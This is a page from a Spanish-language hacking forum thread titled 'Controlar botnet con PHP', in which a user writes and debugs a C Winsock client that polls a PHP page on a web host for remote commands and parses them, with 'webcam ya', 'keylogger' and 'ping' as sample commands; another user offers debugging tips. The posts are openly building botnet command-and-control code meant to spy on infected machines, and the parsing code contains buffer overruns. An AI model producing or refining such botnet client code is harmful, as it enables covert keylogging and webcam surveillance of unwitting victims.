elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recopilación Tutoriales y Manuales Hacking, Seguridad, Privacidad, Hardware, etc


+  Foro de elhacker.net
|-+  Programación
| |-+  Desarrollo Web
| | |-+  PHP (Moderador: #!drvy)
| | | |-+  Controlar botnet con PHP
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 2 3 [4] 5 Ir Abajo Respuesta Imprimir
Autor Tema: Controlar botnet con PHP  (Leído 10,368 veces)
Kaxperday


Desconectado Desconectado

Mensajes: 702


The man in the Middle


Ver Perfil WWW
Re: Controlar botnet con PHP
« Respuesta #30 en: 18 Septiembre 2014, 00:04 am »

Bueno haber he improvisado esta función haber xD

cliente.c
Código:
*char recojecomando()
{
    WSADATA wsa;
    int sok;
    struct sockaddr_in dir;
    char buf[60384],comando[100];
    WSAStartup(MAKEWORD(2,0),&wsa);
    if((sok=socket(AF_INET,SOCK_STREAM,0))==-1) {}
    else
    {
        dir.sin_family=AF_INET;
        dir.sin_port=htons(PUERTO);
        dir.sin_addr.s_addr=inet_addr(IP);

        strcpy(buf,"POST dir_protegido/usuario1.php HTTP/1.1\r\n");
        strcat(buf,"Host: miweb.com\r\n");
        strcat(buf,"Authorization: Basic aHR0cHdhdGNoOmY=");
        strcat(buf,"Content-type: application/x-www-form-urlencoded\r\n");
        strcat(buf,"\r\n\r\n");

        connect(sok,(struct sockaddr*)&dir,sizeof(dir));
        send(sok,buf,strlen(buf),0);
        recv(sok,comando,50,0);
        closesocket(sok);
    }
    return comando;
}

Ya me he conectado al server con esto se supone, como extraigo ahora la variable cual es la funcion? y es necesario usar el send? xD

Edito: Quizás sobre el content-type y los \r\n del final ya que no se sube variable, lo de autorizacion supongo que será necesario ya que el archivo está en directorio protegido.


« Última modificación: 18 Septiembre 2014, 00:12 am por Kaxperday » En línea

Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.
T. Collins

Desconectado Desconectado

Mensajes: 206


Ver Perfil
Re: Controlar botnet con PHP
« Respuesta #31 en: 18 Septiembre 2014, 00:12 am »

Has mirado que te llega a la variable comando? Con 50 de largo no creo que te llegue.


En línea

Kaxperday


Desconectado Desconectado

Mensajes: 702


The man in the Middle


Ver Perfil WWW
Re: Controlar botnet con PHP
« Respuesta #32 en: 18 Septiembre 2014, 00:13 am »

Quieres decir que debería funcionar??  ;-) ;-) ;-) ;-) ;-) ;-) ;-)

jajaja bieeen, pero hasta que no lo pruebe no se celebra, es necesario usar el send? no podría usar el recv directamente? ya que no estoy mandando nada, no?

Edito: LOOOOOL jajajajaja que cojones xD, me han salido 8 líneas, ahora entiendo porque decías lo de que no entraba con 50 xD, pero aún no veo el comando, debería de salir abajo un "abre la wetcam" xD
« Última modificación: 18 Septiembre 2014, 00:18 am por Kaxperday » En línea

Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.
T. Collins

Desconectado Desconectado

Mensajes: 206


Ver Perfil
Re: Controlar botnet con PHP
« Respuesta #33 en: 18 Septiembre 2014, 00:19 am »

En HTTP el cliente tiene que mandar la petición para que el servidor responda. En este caso tu mandas un POST ( POST dir_protegido/usuario1.php HTTP/1.1\r\n ) el servidor ejecutará usuario1.php y te mandara de vuelta la salida, pero con su cabecera HTTP por delante.
En línea

Kaxperday


Desconectado Desconectado

Mensajes: 702


The man in the Middle


Ver Perfil WWW
Re: Controlar botnet con PHP
« Respuesta #34 en: 18 Septiembre 2014, 00:23 am »

O-MAI-GAD ya lo teeeengooooo había cambiado el espacio  al definir char comando[] a uno mas grande pero en el recv no no habia cambiado y solo cogia 150, pero no era suficiente, pero bieeeen, problema resuelto >:D

Ahora es cuando digo como ** saco el comando de ahí xD

Si me sale hasta la publicidad del hosting abajo la madre que lo parió.

Bueno supongo que me las podré apañar contando las "\n" y situándome en la línea que está el comando.

Mañana espera largo día programación, muchas gracias a todos por la ayuda, sin vosotros no hubiera podido  ;-) ;-)

Os mantendré informados de como me va esto.

Saludos.
« Última modificación: 18 Septiembre 2014, 00:29 am por Kaxperday » En línea

Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.
T. Collins

Desconectado Desconectado

Mensajes: 206


Ver Perfil
Re: Controlar botnet con PHP
« Respuesta #35 en: 18 Septiembre 2014, 00:25 am »

Te sale "MFDLWC" debajo de la cabecera?
En línea

Kaxperday


Desconectado Desconectado

Mensajes: 702


The man in the Middle


Ver Perfil WWW
Re: Controlar botnet con PHP
« Respuesta #36 en: 18 Septiembre 2014, 00:33 am »

Debajo de la cabecera me hay un salto de linea (una linea en blanco), en la siguiente linea pone a3, y en la siguiente linea esta el comando, y luego hay 3 lineas con publicidad del hosting, podría leer las \n desde atras y colocarme con el puntero delante del comando listo para leerlo, o eso creo xD, en verdad sale "webcam ya", mejor lo meto en un archivo y copio y pego...a la espera

Código:
HTTP/1.1 200 OK
Date: Wed, 17 Sep 2014 22:34:04 GMT
Server: Apache
X-Powered-By: PHP/5.2.17
Content-Length: 163
Connection: close
Content-Type: text/html


webcam ya
<!-- Hosting24 Analytics Code -->
<script type="text/javascript" src="http://stats.hosting24.com/count.php"></script>
<!-- End Of Analytics Code -->

Sale esta preciosidad

PD ha desaparecido el a3 que salia antes lol

Edito: Madre mia esto es horiiiibleee al recoger el comando cada vez sale una cosa omg, hay veces que la cabecera que devuelve el server tiene más lineas que otras, hay otras que aparecen lineas como a8, a3 y no se mas cosas raras jajaja, y cuando da la casualidad y coje el comando bien resulta que los a veces los 2 primeros caracteres del comando son aleatorios como si no loshubiese leido omg horriiiblle x lo demas bien, agradeceria mucho algun algoritmp para sacar sano y salvo ese comando saludos
« Última modificación: 18 Septiembre 2014, 17:10 pm por Kaxperday » En línea

Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.
Kaxperday


Desconectado Desconectado

Mensajes: 702


The man in the Middle


Ver Perfil WWW
Re: Controlar botnet con PHP
« Respuesta #37 en: 18 Septiembre 2014, 19:53 pm »

Bueno aquí estoy otra vez, me estoy desesperando un poco con esto:

Respuesta del servidor: (la muestro como código)

Código:
HTTP/1.1 200 OK
Date: Wed, 17 Sep 2014 22:34:04 GMT
Server: Apache
X-Powered-By: PHP/5.2.17
Content-Length: 163
Connection: close
Content-Type: text/html


****keylogger
<!-- Hosting24 Analytics Code -->
<script type="text/javascript" src="http://stats.hosting24.com/count.php"></script>
<!-- End Of Analytics Code -->

Bien, ahí estaría leyendo el comando keylogger, os preguntaréis ¿por qué ha puesto los 4 asteriscos?, pues bien, me sirven para encontrar el comando de entre toda la cadena.

El algoritmo que uso para extraer el comando de la cadena es el siguiente:

Código
  1. b=0;
  2. for(i=0;i<strlen(comando);i++)
  3.        {
  4.                             if(comando[i]=='*'&&comando[i+1]=='*'&&comando[i+2]=='*'&&comando[i+3]=='*')
  5.            {
  6.                i=i+4;
  7.                printf("\n");
  8.                while(comando[i]!='\n')
  9.                {
  10.                    comanda[b]=comando[i];
  11.                    i++;
  12.                    b++;
  13.                }
  14.                comanda[sizeof(comanda)-2]='\0';
  15.                comanda[sizeof(comanda)-1]='\0';
  16.                comanda[sizeof(comanda)]='\0';
  17.                break;
  18.            }
  19.        }
  20.    }
  21.    printf("Comando extraido: %s\n\n",comanda);
  22.    for(i=0;i<strlen(comanda);i++)
  23.    {
  24.        printf("(%c %d)",comanda[i],comanda[i]);
  25.        getch();
  26.    }
  27.    return comanda;
  28.  

Y bien, el programa estaba venga a fallar y fallar al recibir comando y tratar de ejecutarlo, el programa sacaba el comando de allí correctamente, y lo mostraba con un printf, pero luego no me entraba en un strcmp(comando,"keylogger"), y es que comando al hacer printf mostraba keylogger, pero su tamaño devuelto por strlen era 2 caracteres mayor aunque no los mostraba, entonces monté ee alboroto con el for para que me recorriera la cadena, traté de cortarla poniendo "\0", pues aparecen 2 caracteres basura que se incrustan al final de la cadena y no hay manera de sacarles.

Os pongo lo que ha mostrado el for:

Código:
(k 107) (e 101) (y 121) (l 108) (o 111) (g 103) (g 103) (e 101) (r 114) ( 13) (© -71)

Y para más colmo aún jajaja, los 2 últimos "carácteres" se sobreescriben sobre los que ya ha mostrado la consola, es decir en vez de irlos mostrando de izquierda->derecha->abajo-izquierda->derecha... no bajan y sobrescriben la línea  increible LOL.

Pues eso haber si podéis ayudarme a buscar una solución, el 13 es un retorno de carro (un enter), el otro ni idea de que pinta allí, buff y parecía que era fácil sacar una cadena de otra en c.

Edito: He vuelto a probarlo y me muestra esto:

Código:
(k 107) (e 101) (y 121) (l 108) (o 111) (g 103) (g 103) (e 101) (r 114) ( 13) (<< -82)

Luego el ultimo caracter es aleatorio, era << solo que las dos flechas más juntas y haciendo un solo caracter, pero no entiendo, he puesto "\0" en los 3 ultimos caracteres de la cadena debería de cortarse allí que broma es esta? Es que no te lo pierdas con otras cadenas me aparecen hasta 4 caracteres extra atrás todos seguidos del retorno de carro.

Por ejemplo puse a ejecutar el comando "ping teleco.com", la respuesta del servidor igual que la anterior solo que cambiando el comando bien(con los 4 asteriscos delante...), luego trato de extraer el comando me depura esto:

Código:
las letras y cuando acaba la cadena esto: ( 13) (É -114) (q 113)

Y la gracia es que esa q da mucho juego, porque luego hay un printf que dice:

Código
  1. printf("Comando extraido: %s",comando);
  2.  

Y muestra:

Código:
qumando extraido: ping teleco.com

Saludos

« Última modificación: 18 Septiembre 2014, 20:14 pm por Kaxperday » En línea

Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.
T. Collins

Desconectado Desconectado

Mensajes: 206


Ver Perfil
Re: Controlar botnet con PHP
« Respuesta #38 en: 18 Septiembre 2014, 20:07 pm »

Mirate esto: http://www.cplusplus.com/reference/cstring/
Por ejemplo strstr();
Igual que has puesto los asteriscos al principio, puedes ponerlos al final para delimitar el comando.
En línea

Kaxperday


Desconectado Desconectado

Mensajes: 702


The man in the Middle


Ver Perfil WWW
Re: Controlar botnet con PHP
« Respuesta #39 en: 18 Septiembre 2014, 20:16 pm »

Citar
Igual que has puesto los asteriscos al principio, puedes ponerlos al final para delimitar el comando.

Eso puede ser una solución, aunque  ya creo más en la magia que en los hechos.

Probando...

Edito: OOHHHH DIOOOSS SI SOLUCIONADO!! me pregunto porque ocurrirán estas mierdas!! Seguro tenía que ver con el recv(), aquí el script usado:

Código
  1. b=0;
  2. for(i=0;i<strlen(comando);i++)
  3.        {
  4.            if(comando[i]=='*'&&comando[i+1]=='*'&&comando[i+2]=='*'&&comando[i+3]=='*')
  5.            {
  6.                i=i+4;
  7.                while(comando[i]!='\n')
  8.                {
  9.                    comanda[b]=comando[i];
  10.                    i++;
  11.                    b++;
  12.                }
  13.                comanda[sizeof(comanda)]='\0';
  14.                break;
  15.            }
  16.        }
  17.    }
  18.    b=0;
  19.    for(i=0;i<strlen(comanda);i++)
  20.    {
  21.        if(comanda[i]!='*')
  22.        {
  23.            cumanda[b]=comanda[i];
  24.            b++;
  25.        }
  26.        else
  27.        {
  28.            cumanda[b]='\0';
  29.            break;
  30.        }
  31.    }
  32.    printf("Comando extraido: %s\n\n",cumanda);
  33.    for(i=0;i<strlen(cumanda);i++)
  34.    {
  35.        printf("(%c %d)",cumanda[i],cumanda[i]);
  36.        getch();
  37.    }
  38.    return cumanda;
  39.  

Lo que he echo es poner en el comando 4 asteriscos adelante y 4 detrás.

Saludos y gracias.
« Última modificación: 18 Septiembre 2014, 20:25 pm por Kaxperday » En línea

Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.
Páginas: 1 2 3 [4] 5 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
XRayBNT Botnet P2P « 1 2 »
Análisis y Diseño de Malware
Jaixon Jax 17 12,181 Último mensaje 29 Junio 2010, 22:56 pm
por Jaixon Jax
[Botnet]¿Es necesaria un VPS?
Análisis y Diseño de Malware
VCore 2 4,422 Último mensaje 20 Octubre 2010, 04:12 am
por VCore
Problema con Botnet IRC
Programación Visual Basic
illuminat3d 1 2,193 Último mensaje 17 Noviembre 2010, 15:18 pm
por illuminat3d
que botnet es el mas popular « 1 2 3 »
Análisis y Diseño de Malware
snIPER1 22 20,004 Último mensaje 14 Septiembre 2015, 03:11 am
por MCKSys Argentina
Desmantelan la segunda botnet Hlux/Kelihos Botnet
Noticias
wolfbcn 0 2,546 Último mensaje 31 Marzo 2012, 13:58 pm
por wolfbcn
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines